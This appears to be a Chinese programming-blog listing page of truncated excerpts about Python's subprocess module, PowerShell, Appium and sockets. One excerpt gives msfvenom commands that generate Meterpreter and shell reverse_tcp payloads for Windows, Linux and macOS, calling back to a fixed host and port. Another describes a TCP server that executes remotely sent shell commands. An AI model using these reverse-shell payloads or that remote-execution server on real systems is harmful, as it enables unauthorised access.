subprocess

Python调用PowerShell

拜拜、爱过 提交于 2020-03-15 06:30:43
需求 在server程序运行到一半或者要结束的时候希望它自动记录下当前server的状态,包括有多少个进程,每个占多少CPU,多少内存,系统还剩多少内存之类的。 想法 很简单,既然程序有python脚本,那么就通过python脚本开一个进程运行一些power shell的脚本,把结果写文件。 PowerShell 花了一天时间,啃了点文档,记录一些例子: 获取帮助:get-help get-help * get-help get-help -detailed 获取object的member get-process | get-member 获取进程列表然后输出用CPU时间最多的5个和最少的5个,并把结果写到 D:\a.txt get-process | sort-object CPU -descending | select-object -first 5 -last 5 | out-file D:\a.txt 输出到csv或者xml get-process | Export-Csv D:\ccc.csv get-process | Export-Clixml d:\ccc.xml 输出为HTML get-service | convertto-html -property name,status | out-file D:\ab.html 输出带颜色 write-host

subprocess模块

荒凉一梦 提交于 2020-03-14 15:43:19
  subprocess模块 允许你去创建一个新的进程让其执行另外的程序,并与它进行通信,获取标准的输入、标准输出、标准错误以及返回码等。 Popen类   subprocess模块中定义了一个Popen类,通过它可以来创建进程,并与其进行复杂的交互。 Popen类的构造函数如上图,其主要参数为:    args :是一个字符串或者序列类型(如:字符串、list、元组),用于指定进程的可执行文件及其参数。如果是一个序列类型参数,则序列的第一个元素通常都必须是一个可执行文件的路径。当然也可以使用executeable参数来指定可执行文件的路径。   stdin,stdout,stderr :分别表示程序的标准输入、标准输出、标准错误。有效的值可以是PIPE,存在的文件描述符,存在的文件对象或None,如果为None需从父进程继承过来,stdout可以是PIPE,表示对子进程创建一个管道,stderr可以是STDOUT,表示标准错误数据应该从应用程序中捕获并作为标准输出流stdout的文件句柄。   shell :如果这个参数被设置为True,程序将通过shell来执行。   env :它描述的是子进程的环境变量。如果为None,子进程的环境变量将从父进程继承而来。   cwd :用于设置子进程的当前目录。    universal_newlines :不同系统的的换行符不同

Can I pipe a io.BytesIO() stream to subprocess.popen() in Python?

删除回忆录丶 提交于 2020-03-14 06:58:16
问题 I'm trying to pipe a io.BytesIO() bytetream to a separate program using subprocess.popen() , but I don't know how or if this is at all possible. Documentation and examples are all about text and newlines. When I whip up something like this: import io from subprocess import * stream = io.BytesIO() someStreamCreatingProcess(stream) command = ['somecommand', 'some', 'arguments'] process = Popen(command, stdin=PIPE) process.communicate(input=stream) I get Traceback (most recent call last): File "

用命令方式启动、停止appium服务和app

拥有回忆 提交于 2020-03-08 07:13:30
启动appium服务并监听一个端口命令: 命令command==>   appium -a {ip} -p {port} -U {deviceName} -g {log} 以shell命令方式执行命令,并输入日志到log文件:用subprocess需导入 subprocess.Popen(command, stdout=open(LOG_PATH, 'a+'), stderr=subprocess.PIPE, shell=True)  #相当于再cmd窗口输入上面的命令command 根据端口号查询是否已经启动服务: subprocess.getoutput('netstat -ano | findstr %s'%self.port)    #如果找到以启动端口包含port,则会返回对应信息, netstat -ano | findstr 1111   查询端口号1111的进程信息,从中可以获得pid 启动模拟器或手机,访问服务监听的那个端口: webdriver.Remote('http://127.0.0.1:4723/wd/hub',dic)   #dic是模拟器或手机的设备信息和app信息 根据pid查询进程信息,第一列就是进程名称 tasklist | findstr 2472 根据进程名称杀死改名成对应的所有进程: taskkill /F /IM node.exe /t

msfvenom各平台payload生成

狂风中的少年 提交于 2020-03-06 18:07:49
二进制 windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。 Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f

day26作业

淺唱寂寞╮ 提交于 2020-03-06 05:54:15
1.整理TCP三次握手、四次挥手图 2.基于TCP开发一款远程CMD程序 客户端连接服务器后,可以向服务器发送命令 服务器收到命令后执行,无论执行是否成功,无论执行几遍,都将执行结果返回给客户端 注意: 执行系统指令使用subprocess模块完成. # 服务端.py import socket import subprocess sever = socket.socket() sever.bind(('127.0.0.1',1111)) sever.listen(5) while True: conn,addr = sever.accept() while True: try: data = conn.recv(1024).decode('utf8') if data =='q': break res = subprocess.Popen(data,shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE) data1 = res.stdout.read() data2 = res.stderr.read() conn.send(data1+data2) except Exception as e: print(e) conn.close() # 客户端,py import socket client = socket

Using subprocess to show a command window and get the text from the window after the command has ran

 ̄綄美尐妖づ 提交于 2020-03-05 05:01:14
问题 I'm trying to have a command window open and then once the command has been executed to take the output of it into a variable. The issue that I'm having is that when I use the below command I get an empty string: self.srcEntry.get() and self.dstEntry.get() are the sources and destination folders for robocopy. output = Popen(["start", "cmd", "/K", "RoboCopy.exe", f"{self.srcEntry.get()}", f"{self.dstEntry.get()}", "*.*", "/E", "/Z", "/MT:8"], stdout=PIPE, stdin=PIPE, shell=True) print(output

Using subprocess to show a command window and get the text from the window after the command has ran

陌路散爱 提交于 2020-03-05 05:01:04
问题 I'm trying to have a command window open and then once the command has been executed to take the output of it into a variable. The issue that I'm having is that when I use the below command I get an empty string: self.srcEntry.get() and self.dstEntry.get() are the sources and destination folders for robocopy. output = Popen(["start", "cmd", "/K", "RoboCopy.exe", f"{self.srcEntry.get()}", f"{self.dstEntry.get()}", "*.*", "/E", "/Z", "/MT:8"], stdout=PIPE, stdin=PIPE, shell=True) print(output

python16_day07【Socket网络编程】

匆匆过客 提交于 2020-03-05 02:45:41
/*--> */ /*--> */ 一、简介   1.理解C/S,B/S   2.IOS七层模型(http://www.cnblogs.com/linhaifeng/articles/5937962.html)    二、什么是Socket   我们看看Socket的位置在什么地方?   Socket是应用层与 TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中, Socket其实就是一个门面模式,它把复杂的 TCP/IP协议族隐藏在 Socket接口后面,对用户来说,一组简单的接口就是全部,让 Socket去组织数据,以符合指定的协议。 所以,我们无需深入理解tcp/udp协议,socket已经为我们封装好了,我们只需要遵循socket的规定去编程,写出的程序自然就是遵循tcp/udp标准的。 三、Socket工作流程   先从服务器端说起。服务器端先初始化 Socket,然后与端口绑定 (bind),对端口进行监听 (listen),调用 accept阻塞,等待客户端连接。在这时如果有个客户端初始化一个 Socket,然后连接服务器 (connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束 1

Python Shell 怎样清屏?

回眸只為那壹抹淺笑 提交于 2020-03-02 04:58:25
启动Python有两种方式,分别为“Windows命令行窗口”和“IDLE” “命令行窗口”下可以通过如下两种方法: 1. import subprocess subprocess.call("clear") # linux/mac subprocess.call("cls", shell=True) # windows 执行完次命令后,窗口顶部第一行会出现一个0,接下来才会是输入提示符“>>>” 消除这个0的方法是在此命令前添加一个变量,例如 i=subprocess.call("cls", shell=True) 2. import os os.system("cls") # windows os.system("clear") # linux 执行完次命令后,窗口顶部第一行也会出现一个0,接下来才会是输入提示符“>>>” 消除这个0的方法同方法1 “IDLE”下以上两种方式都不起作用,可以通过建立如下函数实现: def cls(): print "\n"*80 #Shell 3.0+ 改为 print(('\n'*80)) 此函数将命令行往下移动80行,数字80可以自己任意设定 这是伪清屏,只是输入满屏的空格而已 在python的邮件列表中有很多这样类似的question,但是没看到answer的。 再google了一下,才算找到了solution—